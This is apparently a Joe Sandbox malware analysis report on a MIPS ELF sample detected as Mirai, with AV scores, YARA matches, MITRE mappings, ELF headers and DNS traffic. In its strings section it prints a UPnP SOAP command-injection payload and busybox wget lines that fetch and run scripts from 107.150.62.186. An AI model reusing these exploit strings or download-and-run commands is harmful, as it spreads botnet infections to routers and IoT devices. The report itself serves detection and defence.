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Linux Analysis Report
vcimanagement.mips.elf

Overview

General Information

Sample name:	vcimanagement.mips.elf
Analysis ID:	1582275
MD5:	e1d2b07cc74796f701ee2c7da4114520
SHA1:	fc8dfac8b167a3308956e2d2b466774e857f73dc
SHA256:	60f470aa3dec775781e35838c3ee224e5a4697d6169713fb8d1b2e95f8f5e1dd
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582275
Start date and time:	2024-12-30 08:22:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	vcimanagement.mips.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@2/0

Warnings

VT rate limit hit for: http://107.150.62.186/8UsA.sh;
VT rate limit hit for: http://107.150.62.186/bins/x86

Runtime Messages

Command:	/tmp/vcimanagement.mips.elf
PID:	5474
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

vcimanagement.mips.elf (PID: 5474, Parent: 5397, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/vcimanagement.mips.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
vcimanagement.mips.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5474.1.00007f997c400000.00007f997c416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.mips.elf PID: 5474	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: vcimanagement.mips.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: vcimanagement.mips.elf	Virustotal: Detection: 63%			Perma Link
Source: vcimanagement.mips.elf	ReversingLabs: Detection: 65%

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: vcimanagement.mips.elf	String found in binary or memory: http://107.150.62.186/8UsA.sh;
Source: vcimanagement.mips.elf	String found in binary or memory: http://107.150.62.186/bins/x86
Source: vcimanagement.mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: vcimanagement.mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://107.150.62.186/8UsA.sh; chmod +x 8UsA.sh; sh 8UsA.sh
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://107.150.62.186/8UsA.sh; chmod +x 8UsA.sh; sh 8UsA.shfffg

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@2/0

Source: /tmp/vcimanagement.mips.elf (PID: 5474)

Queries kernel information via 'uname':

Jump to behavior

Source: vcimanagement.mips.elf, 5474.1.00005633adfc9000.00005633ae050000.rw-.sdmp	Binary or memory string: 3V!/etc/qemu-binfmt/mips
Source: vcimanagement.mips.elf, 5474.1.00005633adfc9000.00005633ae050000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: vcimanagement.mips.elf, 5474.1.00007ffd8b7da000.00007ffd8b7fb000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: vcimanagement.mips.elf, 5474.1.00007ffd8b7da000.00007ffd8b7fb000.rw-.sdmp	Binary or memory string: _x86_64/usr/bin/qemu-mips/tmp/vcimanagement.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/vcimanagement.mips.elf
Source: vcimanagement.mips.elf, 5474.1.00007ffd8b7da000.00007ffd8b7fb000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: vcimanagement.mips.elf, type: SAMPLE
Source: Yara match	File source: 5474.1.00007f997c400000.00007f997c416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vcimanagement.mips.elf PID: 5474, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: vcimanagement.mips.elf, type: SAMPLE
Source: Yara match	File source: 5474.1.00007f997c400000.00007f997c416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vcimanagement.mips.elf PID: 5474, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vcimanagement.mips.elf	63%	Virustotal		Browse
vcimanagement.mips.elf	66%	ReversingLabs	Linux.Backdoor.Mirai
vcimanagement.mips.elf	100%	Avira	EXP/ELF.Agent.J.8

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://107.150.62.186/bins/x86	vcimanagement.mips.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	vcimanagement.mips.elf	false	high
http://107.150.62.186/8UsA.sh;	vcimanagement.mips.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	vcimanagement.mips.elf	false	high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	vcimanagement.spc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	vcimanagement.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm7.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	mpsl.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	rebirth.arm4t.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.24
	arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	debug.dbg.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	rebirth.mips.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.25

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.4504663417829455
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	vcimanagement.mips.elf
File size:	89'628 bytes
MD5:	e1d2b07cc74796f701ee2c7da4114520
SHA1:	fc8dfac8b167a3308956e2d2b466774e857f73dc
SHA256:	60f470aa3dec775781e35838c3ee224e5a4697d6169713fb8d1b2e95f8f5e1dd
SHA512:	d3dc7c67cd604767f0066c7e9fdf7c19abf0c1f4634d32d778f36f89cafcbaaede486f59ac9c62433f05a117e88e552545aedaac399a1f8c46ff43c8562c717f
SSDEEP:	1536:bK/QR35eT0Ata648QFTyAOVDZZYHWmdXSWYkhoh9s:ke3sTPiBOAOVNZrmdXSWXhaq
TLSH:	AD93B61E3E258FBCF79D823547B78E229648378A26E1C545E15CEA011EB034E741FBAD
File Content Preview:	.ELF.....................@.`...4..[......4. ...(.............@...@....U...U...............U..EU..EU.................dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'..x...!........'9H

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	89068
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x147d0	0x0	0x6	AX	16
.fini	PROGBITS	0x4148f0	0x148f0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x414950	0x14950	0xbb0	0x0	0x2	A	16
.ctors	PROGBITS	0x455504	0x15504	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45550c	0x1550c	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x455518	0x15518	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x455520	0x15520	0x250	0x0	0x3	WA	16
.got	PROGBITS	0x455770	0x15770	0x418	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x455b88	0x15b88	0x24	0x0	0x10000003	WAp	4
.bss	NOBITS	0x455bb0	0x15b88	0x340	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x71a	0x15b88	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x15b88	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x15500	0x15500	5.4613	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x15504	0x455504	0x455504	0x684	0x9ec	4.0164	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 08:23:09.802735090 CET	34802	53	192.168.2.13	8.8.8.8
Dec 30, 2024 08:23:09.807840109 CET	53	34802	8.8.8.8	192.168.2.13
Dec 30, 2024 08:23:09.807914972 CET	34802	53	192.168.2.13	8.8.8.8
Dec 30, 2024 08:23:09.807935953 CET	34802	53	192.168.2.13	8.8.8.8
Dec 30, 2024 08:23:09.807962894 CET	34802	53	192.168.2.13	8.8.8.8
Dec 30, 2024 08:23:09.812855959 CET	53	34802	8.8.8.8	192.168.2.13
Dec 30, 2024 08:23:09.812875032 CET	53	34802	8.8.8.8	192.168.2.13
Dec 30, 2024 08:23:10.251600981 CET	53	34802	8.8.8.8	192.168.2.13
Dec 30, 2024 08:23:10.251741886 CET	34802	53	192.168.2.13	8.8.8.8
Dec 30, 2024 08:23:10.378984928 CET	53	34802	8.8.8.8	192.168.2.13
Dec 30, 2024 08:23:10.379156113 CET	34802	53	192.168.2.13	8.8.8.8
Dec 30, 2024 08:23:12.251693010 CET	53	34802	8.8.8.8	192.168.2.13
Dec 30, 2024 08:23:12.251943111 CET	34802	53	192.168.2.13	8.8.8.8
Dec 30, 2024 08:23:12.256872892 CET	53	34802	8.8.8.8	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 08:23:09.807935953 CET	192.168.2.13	8.8.8.8	0x99c2	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 08:23:09.807962894 CET	192.168.2.13	8.8.8.8	0xf9fa	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 08:23:10.378984928 CET	8.8.8.8	192.168.2.13	0x99c2	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Dec 30, 2024 08:23:10.378984928 CET	8.8.8.8	192.168.2.13	0x99c2	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: vcimanagement.mips.elf PID: 5474, Parent PID: 5397

General

Start time (UTC):	07:23:08
Start date (UTC):	30/12/2024
Path:	/tmp/vcimanagement.mips.elf
Arguments:	/tmp/vcimanagement.mips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report vcimanagement.mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: vcimanagement.mips.elf PID: 5474, Parent PID: 5397

General

Chronological Activities

Linux Analysis Report
vcimanagement.mips.elf